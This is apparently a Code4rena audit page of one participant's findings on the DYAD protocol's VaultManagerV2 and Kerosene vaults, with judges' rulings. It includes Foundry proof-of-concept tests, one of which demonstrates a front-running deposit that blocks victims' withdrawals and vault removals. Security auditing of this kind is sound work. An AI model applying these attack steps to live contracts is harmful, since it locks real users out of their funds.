Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 93/183
Findings: 4
Award: $18.49
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: MrPotatoMagic
Also found by: 0x175, 0x486776, 0x77, 0xAkira, 0xAsen, 0xDemon, 0xabhay, 0xblack_bird, 0xlemon, 0xloscar01, 0xtankr, 3docSec, 4rdiii, Abdessamed, AlexCzm, Angry_Mustache_Man, BiasedMerc, Circolors, Cryptor, DMoore, DPS, DedOhWale, Dinesh11G, Dots, GalloDaSballo, Giorgio, Honour, Imp, Jorgect, Krace, KupiaSec, Mrxstrange, NentoR, Pechenite, PoeAudits, Ryonen, SBSecurity, Sabit, T1MOH, TheFabled, TheSavageTeddy, Tychai0s, VAD37, Vasquez, WildSniper, ZanyBonzy, adam-idarrha, alix40, asui, blutorque, btk, c0pp3rscr3w3r, caglankaan, carrotsmuggler, d_tony7470, dimulski, dinkras, djxploit, falconhoof, forgebyola, grearlake, imare, itsabinashb, josephdara, kartik_giri_47538, ke1caM, kennedy1030, koo, lionking927, ljj, niser93, pep7siup, poslednaya, ptsanev, sashik_eth, shaflow2, steadyman, turvy_fuzz, ubl4nk, valentin_s2304, web3km, xyz, y4y, zhaojohnson, zigtur
0.0234 USDC - $0.02
Users subject to this attack will be unable to call the following functions in VaultManagerV2
:
withdraw()
redeemDyad()
remove()
removeKerosene()
This will persist for as long as the attacker wishes to repeatedly perform the exploit—given the low cost of the attack, this extends the likelihood of a user being denied service for longer.
This vulnerability can be divided into two parts: 1. a DoS attack on withdrawing collateral and redeeming DYAD, and 2. a DoS attack on removing vaults.
When a user calls VaultManagerV2::deposit()
the idToBlockOfLastDeposit
mapping is updated:
function deposit( ... isValidDNft(id) ) ... { idToBlockOfLastDeposit[id] = block.number; ... }
idToBlockOfLastDeposit
maps a dNFT’s token ID to the block.number
in which the last deposit was made for that dNFT.
mapping (uint => uint) public idToBlockOfLastDeposit;
This is done so that the following check can be made in VaultManagerV2::withdraw()
to prevent flash loan attacks:
function withdraw( ... ) ... { if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); ... }
The issue arises due to the fact that anyone can deposit collateral into a dNFT’s vault, even if they do not own that dNFT. An attacker can front run a user’s withdrawal and deposit into their dNFT’s vault—updating idToBlockOfLastDeposit
and causing the above check to fail.
Note: this also affects VaultManagerV2::redeemDyad()
as withdraw()
is called within the function. An attacker does not have to deposit any assets when front running as they can pass 0 as amount
to deposit()
.
When removing a vault from a dNFT, a check is made to ensure there are no assets in the vault:
function remove( ... ) ... { if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets(); ... } function removeKerosene( ... ) ... { if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets(); ... }
An attacker can front run a user’s call to remove()
or removeKerosene()
and deposit a dust amount of collateral or Kerosene into the vault they’re trying to remove—causing the above checks to fail.
The following test demonstrates both parts of the vulnerability. Steps to run:
2024-04-dyad/test
and name it VaultManagerV2.t.sol
createSelectFork()
forge t --mp test/VaultManagerV2.t.sol
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.17; import { Test } from "forge-std/Test.sol"; import { ERC20 } from "@solmate/src/tokens/ERC20.sol"; import { VaultManagerV2 } from "../src/core/VaultManagerV2.sol"; import { DNft } from "../src/core/DNft.sol"; import { Dyad } from "../src/core/Dyad.sol"; import { Licenser } from "../src/core/Licenser.sol"; import { IVaultManager } from "../src/interfaces/IVaultManager.sol"; import { Vault } from "../src/core/Vault.sol"; import { IAggregatorV3 } from "../src/interfaces/IAggregatorV3.sol"; contract VaultManagerV2Test is Test { VaultManagerV2 vaultManagerV2; Vault wstETHVault; ERC20 wstETH; DNft dNft; function setUp() public { vm.createSelectFork(""); Licenser licenser = new Licenser(); dNft = new DNft(); vaultManagerV2 = new VaultManagerV2(DNft(dNft), new Dyad(Licenser(licenser)), Licenser(licenser)); wstETH = ERC20(payable(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0)); wstETHVault = new Vault(IVaultManager(vaultManagerV2), ERC20(wstETH), IAggregatorV3(0xCfE54B5cD566aB89272946F602D76Ea879CAb4a8)); vm.prank(licenser.owner()); licenser.add(address(wstETHVault)); } function test_DoS() public { address alice = makeAddr("alice"); address attacker = makeAddr("attacker"); // mint alice a dNFT and deal her 1 wstETH uint256 id = dNft.mintNft(alice); deal(address(wstETH), alice, 1e18); // deal the attacker a dust amount of wstETH deal(address(wstETH), attacker, 1); // alice deposits vm.startPrank(alice); vaultManagerV2.add(id, address(wstETHVault)); wstETH.approve(address(vaultManagerV2), 1e18); vaultManagerV2.deposit(id, address(wstETHVault), 1e18); vm.stopPrank(); // ensure some time rolls over vm.roll(block.number + 100); // alice attempts to withdraw vm.prank(attacker); // the attacker front runs here, depositing 0 vaultManagerV2.deposit(id, address(wstETHVault), 0); vm.prank(alice); // DoS here vm.expectRevert(IVaultManager.DepositedInSameBlock.selector); vaultManagerV2.withdraw(id, address(wstETHVault), 1e18, alice); // alice eventually withdraws vm.roll(block.number + 100); vm.prank(alice); vaultManagerV2.withdraw(id, address(wstETHVault), 1e18, alice); // alice attempts to remove the vault vm.startPrank(attacker); wstETH.approve(address(vaultManagerV2), 1); // the attacker front runs here, depositing a dust amount vaultManagerV2.deposit(id, address(wstETHVault), 1); vm.stopPrank(); vm.prank(alice); // DoS here vm.expectRevert(IVaultManager.VaultHasAssets.selector); vaultManagerV2.remove(id, address(wstETHVault)); } }
Manual review & Foundry.
Consider restricting depositing into another user’s dNFT vaults to only approved depositors. VaultManagerV2.sol#L119-L131:
+ mapping (uint => mapping(address => bool)) approvedDepositors; ... + function approveDepositor( + uint id, + address depositor, + bool isApproved + ) + external + isDNftOwner(id) + { + approvedDepositors[id][depositor] = isApproved; + } ... function deposit( uint id, address vault, uint amount ) external isValidDNft(id) { + require(approvedDepositors[id][msg.sender] || dNft.ownerOf(id) == msg.sender, "Depositor not approved or not owner"); idToBlockOfLastDeposit[id] = block.number; Vault _vault = Vault(vault); _vault.asset().safeTransferFrom(msg.sender, address(vault), amount); _vault.deposit(id, amount); }
DoS
#0 - c4-pre-sort
2024-04-27T11:23:49Z
JustDravee marked the issue as duplicate of #1103
#1 - c4-pre-sort
2024-04-27T11:51:48Z
JustDravee marked the issue as duplicate of #489
#2 - c4-pre-sort
2024-04-29T09:26:42Z
JustDravee marked the issue as sufficient quality report
#3 - c4-judge
2024-05-05T20:38:07Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-05T21:10:20Z
koolexcrypto marked the issue as nullified
#5 - c4-judge
2024-05-05T21:10:26Z
koolexcrypto marked the issue as not nullified
#6 - c4-judge
2024-05-08T15:30:01Z
koolexcrypto marked the issue as duplicate of #1001
#7 - c4-judge
2024-05-11T19:45:02Z
koolexcrypto marked the issue as satisfactory
#8 - c4-judge
2024-05-13T18:34:30Z
koolexcrypto changed the severity to 3 (High Risk)
#9 - 0x175
2024-05-16T04:15:01Z
Hi @koolexcrypto,
I believe this issue should be selected for the report.
The issue demonstrates:
Note: Although this issue does not mention that victims attempting to withdraw/redeem the full amount are susceptible to this DoS attack, it also does not mentioned that the attack is only applicable to users withdrawing/redeeming any specific amount. Meaning this issue shows regardless of the amount the victim is trying to withdraw/redeem, the exploit is still applicable.
With that being said I believe these three primary issues all share the same root cause (anyone can deposit into anyone else’s dNFT’s vault), and these issues and their duplicates should fall under one issue: #118, #1001, #1266.
Note: As to not cause any confusion, further discussion happened here.
#10 - koolexcrypto
2024-05-29T08:47:48Z
Thank you for your feedback.
This should be split into two, DoS withdraw and DoS removal (#1001 and #118)
🌟 Selected for report: Circolors
Also found by: 0x175, 0x486776, 0xAlix2, 0xSecuri, 0xShitgem, 0xfox, 0xlemon, 0xnilay, 3th, 4rdiii, Aamir, Al-Qa-qa, AlexCzm, Egis_Security, Evo, Honour, Infect3d, Josh4324, Limbooo, Mahmud, SBSecurity, TheSchnilch, ahmedaghadi, alix40, amaron, bbl4de, bhilare_, btk, carrotsmuggler, cinderblock, d3e4, dimulski, dinkras, ducanh2706, iamandreiski, itsabinashb, ke1caM, ljj, sashik_eth, shaflow2, steadyman, web3km, y4y
3.8221 USDC - $3.82
Users who deposit Kerosene into a Kerosene vault will be unable to withdraw their tokens, and the tokens will be locked in the vault in which they were deposited.
The value of Kerosene is defined within the protocol. Part of calculating the value of Kerosene requires getting the total USD value of all exogenous collateral in the protocol (TVL)—excluding Kerosene itself. UnboundedKerosineVault::assetPrice()
intends to calculate the asset price:
function assetPrice() ... returns (uint) { uint tvl; address[] memory vaults = kerosineManager.getVaults(); uint numberOfVaults = vaults.length; for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[i]); tvl += vault.asset().balanceOf(address(vault)) ... / (10**vault.oracle().decimals()); } ... }
The issue is that the vaults
retrieved using kerosineManager.getVaults()
are Kerosene vaults, not exogenous collateral vaults. The function then attempts to retrieve the oracle decimals by calling vault.oracle().decimals()
, however since each vault
is wrongly a Kerosene vault—and the KerosineVault
contract does not declare an oracle as exogenous vaults do—this call will always revert.
To withdraw Kerosene from the vault manager users must call VaultManagerV2::withdraw()
:
function withdraw( uint id, address vault, uint amount, address to ) ... { ... Vault _vault = Vault(vault); uint value = amount * _vault.assetPrice() ... }
_vault.assetPrice()
is called within this function, and since UnboundedKerosineVault::assetPrice()
always reverts users will be unable to withdraw their Kerosene.
Important notes:
VaultManagerV2::liquidate()
, vault.getUsdValue
is called—which calls assetPrice()
:function getUsdValue( .. ) .. returns (uint) { return id2asset[id] * assetPrice() / 1e8; }
assetPrice()
is called in VaultManagerV2::redeemDyad()
.Steps to run:
2024-04-dyad/test
and name it VaultManagerV2.t.sol
createSelectFork()
forge t --mp test/VaultManagerV2.t.sol -vvvvv
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.17; import { Test } from "forge-std/Test.sol"; import { VaultManagerV2 } from "../src/core/VaultManagerV2.sol"; import { DNft } from "../src/core/DNft.sol"; import { Dyad } from "../src/core/Dyad.sol"; import { Licenser } from "../src/core/Licenser.sol"; import { KerosineManager } from "../src/core/KerosineManager.sol"; import { UnboundedKerosineVault } from "../src/core/Vault.kerosine.unbounded.sol"; import { KerosineDenominator } from "../src/staking/KerosineDenominator.sol"; import { IVaultManager } from "../src/interfaces/IVaultManager.sol"; import { Kerosine } from "../src/staking/Kerosine.sol"; import { BoundedKerosineVault } from "../src/core/Vault.kerosine.bounded.sol"; import { ERC20 } from "@solmate/src/tokens/ERC20.sol"; contract VaultManagerV2Test is Test { DNft dNft; VaultManagerV2 vaultManagerV2; Kerosine kerosine; UnboundedKerosineVault unboundedKerosineVault; function setUp() public { vm.createSelectFork(""); Licenser licenser = new Licenser(); Dyad dyad = new Dyad(Licenser(licenser)); dNft = new DNft(); vaultManagerV2 = new VaultManagerV2(DNft(dNft), Dyad(dyad), Licenser(licenser)); kerosine = new Kerosine(); KerosineManager kerosineManager = new KerosineManager(); vaultManagerV2.setKeroseneManager(KerosineManager(kerosineManager)); unboundedKerosineVault = new UnboundedKerosineVault(IVaultManager(vaultManagerV2), ERC20(kerosine), Dyad(dyad), KerosineManager(kerosineManager)); unboundedKerosineVault.setDenominator(new KerosineDenominator(Kerosine(kerosine))); kerosineManager.add(address(unboundedKerosineVault)); } function test_Revert() public { // make an address for alice, deal her Kerosene and mint her a dNFT address alice = makeAddr("alice"); deal(address(kerosine), alice, 1e18); uint256 id = dNft.mintNft(alice); // alice successfully deposits Kerosene vm.startPrank(alice); vaultManagerV2.addKerosene(id, address(unboundedKerosineVault)); kerosine.approve(address(vaultManagerV2), 1e18); vaultManagerV2.deposit(id, address(unboundedKerosineVault), 1e18); vm.stopPrank(); // avoid depositing in the same block vm.roll(block.number + 1); // alice is unable to to withdraw her Kerosene vm.prank(alice); vm.expectRevert(); vaultManagerV2.withdraw(id, address(unboundedKerosineVault), 1e18, alice); } }
Manual review & Foundry.
Use non-Kerosene vaults in assetPrice()
. Vault.kerosine.unbounded.sol#L50-L68:
function assetPrice() ... returns (uint) { ... - address[] memory vaults = kerosineManager.getVaults(); + address[] memory vaults = licenser.getVaults(); ... }
Note: this would require the protocol implementing getVaults()
in the Licenser contract.
DoS
#0 - c4-pre-sort
2024-04-27T18:12:26Z
JustDravee marked the issue as duplicate of #1048
#1 - c4-pre-sort
2024-04-28T18:39:31Z
JustDravee marked the issue as duplicate of #830
#2 - c4-pre-sort
2024-04-29T08:46:00Z
JustDravee marked the issue as sufficient quality report
#3 - c4-judge
2024-05-11T20:05:39Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: 0xAlix2
Also found by: 0x175, 0x486776, 0xnev, 3docSec, 3th, Aamir, Abdessamed, AlexCzm, Angry_Mustache_Man, Circolors, DedOhWale, Emmanuel, Giorgio, Honour, Jorgect, KupiaSec, Maroutis, Myrault, SBSecurity, Stefanov, T1MOH, VAD37, Vasquez, adam-idarrha, alix40, ducanh2706, falconhoof, iamandreiski, ke1caM, kennedy1030, koo, lian886, ljj, miaowu, pontifex, sashik_eth, shikhar229169, vahdrak1
7.3026 USDC - $7.30
Liquidators will not receive the correct amount of assets when liquidating. Users will be disincentivized from liquidating positions backed by Kerosene. Malicious actors aware of this vulnerability can add Kerosene to their vault to decease the incentive of another user liquidating their position.
VaultManagerV2::liquidate()
iterates through each vault
in the vaults
mapping:
function liquidate( ... ) ... { ... uint numberOfVaults = vaults[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare); vault.move(id, to, collateral); } ... }
There is a separate mapping for Kerosene vaults, vaultsKerosene
:
mapping (uint => EnumerableSet.AddressSet) internal vaults; mapping (uint => EnumerableSet.AddressSet) internal vaultsKerosene;
This mapping is not accounted for during liquidations, therefore only the non Kerosene collateral will be moved to the liquidator and the target will keep the Kerosene.
Manual review and Foundry.
Ensure VaultManager::VaultManagerV2()
accounts for Kerosene vaults. VaultManagerV2.sol#L205-L228:
function liquidate( uint id, uint to ) external isValidDNft(id) isValidDNft(to) { ... uint numberOfVaults = vaults[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare); vault.move(id, to, collateral); } + uint numberOfKeroseneVaults = vaultsKerosene[id].length(); + for (uint i = 0; i < numberOfKeroseneVaults; i++) { + Vault keroseneVault = Vault(vaultsKerosene[id].at(i)); + uint kerosene = keroseneVault.id2asset(id).mulWadUp(liquidationAssetShare); + keroseneVault.move(id, to, kerosene); + } ... }
Error
#0 - c4-pre-sort
2024-04-28T10:24:34Z
JustDravee marked the issue as duplicate of #128
#1 - c4-pre-sort
2024-04-29T09:03:55Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:41:33Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: TheSavageTeddy
Also found by: 0x175, 0x486776, 0xnev, AamirMK, AlexCzm, ArmedGoose, BiasedMerc, CaeraDenoir, Egis_Security, Jorgect, KYP, MrPotatoMagic, PoeAudits, SBSecurity, SovaSlava, VAD37, adam-idarrha, alix40, carrotsmuggler, d_tony7470, dimulski, grearlake, josephdara, ljj, n0kto, okolicodes, sashik_eth, sil3th, turvy_fuzz
7.3512 USDC - $7.35
Users subject to this attack will be unable to call the following functions in VaultManagerV2
:
withdraw()
redeemDyad()
remove()
removeKerosene()
This will persist for as long as the attacker wishes to repeatedly perform the exploit—given the low cost of the attack, this extends the likelihood of a user being denied service for longer.
This vulnerability can be divided into two parts: 1. a DoS attack on withdrawing collateral and redeeming DYAD, and 2. a DoS attack on removing vaults.
When a user calls VaultManagerV2::deposit()
the idToBlockOfLastDeposit
mapping is updated:
function deposit( ... isValidDNft(id) ) ... { idToBlockOfLastDeposit[id] = block.number; ... }
idToBlockOfLastDeposit
maps a dNFT’s token ID to the block.number
in which the last deposit was made for that dNFT.
mapping (uint => uint) public idToBlockOfLastDeposit;
This is done so that the following check can be made in VaultManagerV2::withdraw()
to prevent flash loan attacks:
function withdraw( ... ) ... { if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); ... }
The issue arises due to the fact that anyone can deposit collateral into a dNFT’s vault, even if they do not own that dNFT. An attacker can front run a user’s withdrawal and deposit into their dNFT’s vault—updating idToBlockOfLastDeposit
and causing the above check to fail.
Note: this also affects VaultManagerV2::redeemDyad()
as withdraw()
is called within the function. An attacker does not have to deposit any assets when front running as they can pass 0 as amount
to deposit()
.
When removing a vault from a dNFT, a check is made to ensure there are no assets in the vault:
function remove( ... ) ... { if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets(); ... } function removeKerosene( ... ) ... { if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets(); ... }
An attacker can front run a user’s call to remove()
or removeKerosene()
and deposit a dust amount of collateral or Kerosene into the vault they’re trying to remove—causing the above checks to fail.
The following test demonstrates both parts of the vulnerability. Steps to run:
2024-04-dyad/test
and name it VaultManagerV2.t.sol
createSelectFork()
forge t --mp test/VaultManagerV2.t.sol
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.17; import { Test } from "forge-std/Test.sol"; import { ERC20 } from "@solmate/src/tokens/ERC20.sol"; import { VaultManagerV2 } from "../src/core/VaultManagerV2.sol"; import { DNft } from "../src/core/DNft.sol"; import { Dyad } from "../src/core/Dyad.sol"; import { Licenser } from "../src/core/Licenser.sol"; import { IVaultManager } from "../src/interfaces/IVaultManager.sol"; import { Vault } from "../src/core/Vault.sol"; import { IAggregatorV3 } from "../src/interfaces/IAggregatorV3.sol"; contract VaultManagerV2Test is Test { VaultManagerV2 vaultManagerV2; Vault wstETHVault; ERC20 wstETH; DNft dNft; function setUp() public { vm.createSelectFork(""); Licenser licenser = new Licenser(); dNft = new DNft(); vaultManagerV2 = new VaultManagerV2(DNft(dNft), new Dyad(Licenser(licenser)), Licenser(licenser)); wstETH = ERC20(payable(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0)); wstETHVault = new Vault(IVaultManager(vaultManagerV2), ERC20(wstETH), IAggregatorV3(0xCfE54B5cD566aB89272946F602D76Ea879CAb4a8)); vm.prank(licenser.owner()); licenser.add(address(wstETHVault)); } function test_DoS() public { address alice = makeAddr("alice"); address attacker = makeAddr("attacker"); // mint alice a dNFT and deal her 1 wstETH uint256 id = dNft.mintNft(alice); deal(address(wstETH), alice, 1e18); // deal the attacker a dust amount of wstETH deal(address(wstETH), attacker, 1); // alice deposits vm.startPrank(alice); vaultManagerV2.add(id, address(wstETHVault)); wstETH.approve(address(vaultManagerV2), 1e18); vaultManagerV2.deposit(id, address(wstETHVault), 1e18); vm.stopPrank(); // ensure some time rolls over vm.roll(block.number + 100); // alice attempts to withdraw vm.prank(attacker); // the attacker front runs here, depositing 0 vaultManagerV2.deposit(id, address(wstETHVault), 0); vm.prank(alice); // DoS here vm.expectRevert(IVaultManager.DepositedInSameBlock.selector); vaultManagerV2.withdraw(id, address(wstETHVault), 1e18, alice); // alice eventually withdraws vm.roll(block.number + 100); vm.prank(alice); vaultManagerV2.withdraw(id, address(wstETHVault), 1e18, alice); // alice attempts to remove the vault vm.startPrank(attacker); wstETH.approve(address(vaultManagerV2), 1); // the attacker front runs here, depositing a dust amount vaultManagerV2.deposit(id, address(wstETHVault), 1); vm.stopPrank(); vm.prank(alice); // DoS here vm.expectRevert(IVaultManager.VaultHasAssets.selector); vaultManagerV2.remove(id, address(wstETHVault)); } }
Manual review & Foundry.
Consider restricting depositing into another user’s dNFT vaults to only approved depositors. VaultManagerV2.sol#L119-L131:
+ mapping (uint => mapping(address => bool)) approvedDepositors; ... + function approveDepositor( + uint id, + address depositor, + bool isApproved + ) + external + isDNftOwner(id) + { + approvedDepositors[id][depositor] = isApproved; + } ... function deposit( uint id, address vault, uint amount ) external isValidDNft(id) { + require(approvedDepositors[id][msg.sender] || dNft.ownerOf(id) == msg.sender, "Depositor not approved or not owner"); idToBlockOfLastDeposit[id] = block.number; Vault _vault = Vault(vault); _vault.asset().safeTransferFrom(msg.sender, address(vault), amount); _vault.deposit(id, amount); }
DoS
#0 - thebrittfactor
2024-05-29T13:37:43Z
For transparency, the judge has requested that issue #1192Â be duplicated, as it contains two issues they deemed should be judged separately.
#1 - c4-judge
2024-05-29T13:50:25Z
koolexcrypto marked the issue as duplicate of #118
#2 - c4-judge
2024-05-29T13:50:29Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-05-29T13:55:33Z
koolexcrypto changed the severity to 2 (Med Risk)